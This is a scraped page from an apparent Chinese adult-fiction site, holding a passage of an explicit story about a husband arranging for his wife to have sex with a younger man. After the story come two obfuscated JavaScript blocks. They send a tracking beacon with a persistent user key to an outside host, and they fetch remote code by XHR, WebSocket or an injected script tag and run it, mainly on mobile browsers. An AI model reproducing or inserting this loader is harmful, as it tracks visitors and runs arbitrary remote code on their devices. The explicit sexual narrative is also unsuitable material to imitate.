呵呵,自己紧张的要命终于找到个借口朝我发泄!那头的小何更是一边舔一边说嫂子的脚比猪蹄香多了,把老婆气的用沾满他口水的脚踹了他一下,说你也是个猪头。

这一下三人间的暧昧气氛升高至了顶点,我本想示意小何继续操着老婆,那知老婆说自己的腰有点酸了,我笑笑说是不是被小何操的受不了了故意找借口换一个姿势,老婆骂了我一句都不心疼她。

没想到小何这小子倒是挺会疼惜女人的,一见老婆难受,便把七情六欲抛到了脑后,还给了我一个台阶下,说自己其实也有些累了,先歇一歇吧。

老婆感激地看了他一眼,又瞪了我一眼说,还是小老公知道心疼人,以后都跟小老公做不给笨老公做了。

我无奈地摇了摇头,小何和老婆就这么靠在床头,小何手很自然地一下把她揽住怀中,搂了下她的长发,捧着她的脸深吻了下去,吻得老婆唿吸都不顺畅了。

吻着吻着小何又抓起了脚踝继续往上舔,事后我问他才知道这小子是恋足控我这个正牌老公不止被老婆嫌弃,还要在旁边继续推波助澜帮他们炒热气氛,我问小何老婆的腿咋样。

小何赶紧说嫂子的腿太美了,触感太棒了,我快受不了了。

我说你个猪头那就赶紧享受吧,说完我把老婆与我分开,想下去床边到外面去抽口烟,其实也是好给他们自由发挥的空间。

老婆却一把拉住我手不让我走,对我说她还是紧张,让我抱着她,我安慰她放松心情,闭上眼把他当成老公,打趣道刚才不是挺恩爱的吗,我就不打扰你的两口子的洞房花烛夜。

没想到老婆马上要哭的样子,我连忙哄她,又将她抱在怀里,真是搞不懂女人的心思,不过也说明了老婆的心里还是我这个正牌老公最能给她安全感,她的一切大胆和没有顾虑都是我在她身边的缘故。

我安慰好了老婆,将早准备好的摄像机拿了出来,把小蚁摄像机对准他们后,转身到床对面电脑桌前玩起电脑,我对身后的小何说可以淫语一点,我喜欢听,又对老婆说我就在这玩电脑让她别害怕。

小何听到后立马又兴奋起来,抱着老婆的腿提起来,一路吻到大腿根,老婆此时则是用双手把枕头压位自已头,下面任他摆布了,他开始言语挑逗了,原来称嫂子现在大胆直接叫老婆了,老婆,你的腿好迷人,又白又柔滑,腿型又好看,让小老公好好亲亲。

我在那假装玩电脑,其实心思全在她们那,一直在关注,只见小何忽然把嘴隔着内裤吻老婆的私处,老婆尖叫了一声说他好坏,我笑着鼓励他对老婆再坏一点。

小何经过刚才的一番亲热和肉战早已经放开了许多,他人扑倒覆在老婆身上,连脚加腿蹬掉了老婆刚换上的黑色丁字裤,鸡巴在老婆腹部赤裸裸地戳来戳去,这场面让我装不下去了,走上前去,他的手已经伸进老婆乳罩里摸了,嘴正寻老婆的嘴,老婆脸潮红的回应着。

我问了老婆一句,老婆现在休息够了吗,老婆害羞地点了点头,我直白地对小何说,你再给咱老婆舔舔逼,刚才的水都干了。

小何立马下移,噼开老婆腿就贴上她已经水汪汪的逼,虽然不是第一次了,但老婆还是被他舔逼刺激的开始大叫,我赶紧用鸡巴堵上她嘴,她开始呜咽地含着捶我屁股,慢慢地开始享受起来。

小何他越舔越兴奋,一边用舌头舔一边眼望着老婆面部表情,两手也不闲着,一手托她屁股,一手伸进乳罩摸奶,我干脆替他解开脱掉,没了蕾丝内衣虽然少了点诱惑,但那扑面而来的肉欲连我操了老婆这么多年都要忍不住了。 老婆颤抖着对我说她受不了,要死了,声调都变了,我往下一看怪不得,他已不是刚开始的舔了,而是把舌头钻进去了,还不时的含住阴唇拉伸,我说你小子哪学的这招,他边忙着边说在A片里学的,刚才不敢太过分,现在就把自己的浑身本事给老婆使出来。

我打趣问小何好吃不,他说咱老婆的逼太香了,太好吃了,边说边夸张的吸逼里流出的水。

老婆哀求着不让再吸了,后来甚至说老公救我,求求你救救我,我挑逗她说求我没用,求小老公,她又说小老公我求你了,饶了我吧。

小何终久还是嫩了点,没忍心还是停了下来。

我看时机差不多了,便示意小何插进去吧,老婆这回是自己主动张开了腿,很自然的。

事后才反应过来,又害羞地合了起来,我调笑她刚才不还挺老实的吗,现在又和起来干嘛,她偏过头去不理我。

小何手一用力轻易地分开了老婆的双腿,再一次将他那火热的鸡巴插入了老婆湿滑的逼逼里,两人又是一场大战,这里便不细说。

激情过后,小何表示不好意思睡我们床上,我便安排他去了客厅对面的次卧,老婆给他抱了一床被子,又给他铺好床铺,安排了他一下灯光按扭,和充电插头位置便回来了,剩下我们两人后,我们拥抱着讨论刚刚的疯狂和刺激,她也说很开心很舒服,温馨地讨论了一会便晕沈沈地睡着了。

直到窗外有些朦胧了,快天亮了我模模煳煳地听到有些异样,但眼皮还很重,不能睁开,渐渐听清了老婆在小声说话,隐约还有小何的声音,我继续装作没醒,俩人在调情呢。

原来这家伙在那屋一直有心思睡不着,最后咪朦了三四个小时便沈不住气了,起床轻手轻脚的摸进我们卧室里,把老婆鼓弄醒后,想让她过去那屋陪他,老婆也是顾及我,怕我知道不高兴,没答应。

于是俩人便在那小声聊天,当然手脚也没闲着,互相抚慰着,由于怕吵醒我或是怕我生气,一直忍着没插入,听到他们其中说了几句话,小何说他要在这呆一辈子,和我一起爱老婆,边说边接吻。

老婆也说好呀,两个老公赚钱养我自已,太好了,小何又说你也要给我生个娃,老婆打他一下说想的美,接着又被他堵上嘴,边吻边呜咽着说行不行,老婆也配合她说行,给你生对双胞胎。

听到这里后我也实在忍不住了,无法继续装睡了,腾的一下爬起来,把他们吓了一跳,我说赶紧吧你们,让你嫂子给你也怀一个,两人听到后也不好意思了。

老婆说坏蛋,你是不早就醒了,到这状况后两人也不再拘束了,缠绵起来。 小何用手勾起老婆一条腿,面对面的姿势插了进去,进去后老婆就说好舒服,他就抵紧老婆喘着粗气插她,老婆的表情很妩媚,情意绵绵地望着小何,用手抚摸他的脸鼻子嘴。

老婆的水越来越氾滥,渐渐地交合处抽插声音都变大了,明显的水征多的声音,插了几分钟后小何累了,这姿势确实不太方便,于是我提议让老婆在上面,小何立马躺平,两腿伸直,手枕头下,一幅享受的样子,我当时想,等她坐进去够你小子喝一壶的。

老婆伸腿跨在小何身上,他得意的把硬鸡巴上下甩动,老婆蹲下去,用两根手指捏住小何的棒棒,让它不能乱晃,对准自已穴口,往下一坐鸡巴顺势而入。 接着头发甩起来,老婆手扶着小何的肚子上,啪啪起来,上来就是大起大落,把小何刺激的嘴张的很大,不停地叫着哎呦哎哟,才二三十下便受不了了,伸手抓住老婆屁股,控制住她的节奏,让她按自己的节奏捣弄,我心里暗笑现在知道我老婆的厉害了吧,我玩了这么多年可不是白调教的。

插了会后老婆也是累了,伏在小何身上,他便捧着老婆大屁股往里耸动,我绕到后面欣赏那美景,比任何A片都令人震撼。

有过经验的朋友都懂的,这场面胜过任何催情剂,我看的浑身发颤,鸡巴硬的发疼,不碰它都有种想射的念头,更何况他们两个正在真刀真枪的做着的感受。

小何猛地往上托起老婆的屁股,拔出鸡巴,说受不了老婆了,差一点缴枪,反身下床,把老婆拖到床沿,分开两腿,伸舌头就舔,真佩服这小,那地方湿腻的一塌煳涂,津津有味,用舌头沿着穴口上下扫动,又是吸小豆豆,用是轻咬花辨,还夸张地吸吮穴里的水,最后还把舌头伸进去,两人的状况已到了疯狂的地步。

最后在老婆的求绕声中小何一枪到底,握住她两只脚丫,辟大分开两腿,啪啪起来,后来又把腿擡肩上,站床下猛插床沿边的穴口,又是把老婆插到求饶,不停地叫受不了,要死了,要飞了。

小何忽然放下她腿盘于腰间,捉她手放他脖子上,一使劲抱起老婆,站着搞起来,边插边东倒西歪地走了两步,把老婆刺激坏了,主动索吻,乖乖,这没点体力可做不到,看着小何这年轻的肉体真是不服老不行。

说实话这场面让我这种资深的淫妻爱好者都无法接受,看到老婆被别人插到主动送上香唇,我那一刻被震憾了,从心里最深处升起一股很难受的感觉,这感觉不太好形容,反正很难受,比单纯的吃醋还严重。

不过好在小何体力不支,其实老婆的身高体重几乎等同于他,没多久他便累坏了,连自己带老婆一起倒在床上。

接着上了床,一刻也不耽搁,小何正面扑上老婆,毫不客气的用膝盖分开她的腿,用手轻轻一扶,又插了进去,老婆把腿勾住他屁股,用手揽紧他脖子,两人已经忘乎所以,拿我不存在了,嫂子,我又要来了,大叫着来了来了继续着最后的冲刺。

最后终于在两人的大叫声中射进老婆体内,两人抱的很紧,久久不愿分开,最后拔出来时,乳白色的精液一下子涌出来,一大团纸都没擦完,都流到床单上。

我一看外面已是天大亮,小何还要赶九点钟的火车,便赶紧收拾起床穿衣服,这才刚发现原来我们三人的衣服东一件西一件,好一阵子才找齐,穿好后梳装打扮,老婆洗完后在那用各种化妆品,小何还好奇的让老婆给他也弄点在脸上,我给他们的离别前留下点时间,主动去厨房下了点面,乘好后去叫他们一起吃早点。

小何正抱着老婆坐他腿上亲热呢,才一晚上就像情侣一样含情陌陌,他看见我也是有点不好意思的分开了。

匆匆吃完后都八点钟了,我和老婆一起开车送小何回宾馆拿了点行李后奔向车站,路上他一直在感谢我们的款待,我说还是感谢你嫂子吧,主要还是她款待了你,搞的我们都开心大笑。

离别的车站他们是那么地恋恋不舍,小何一直在回头招手,直到消失在车台里的人流里面,猛然间发现老婆的眼角有些湿润了。


上一篇:打工的小咪姐

下一篇:房东张先生


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};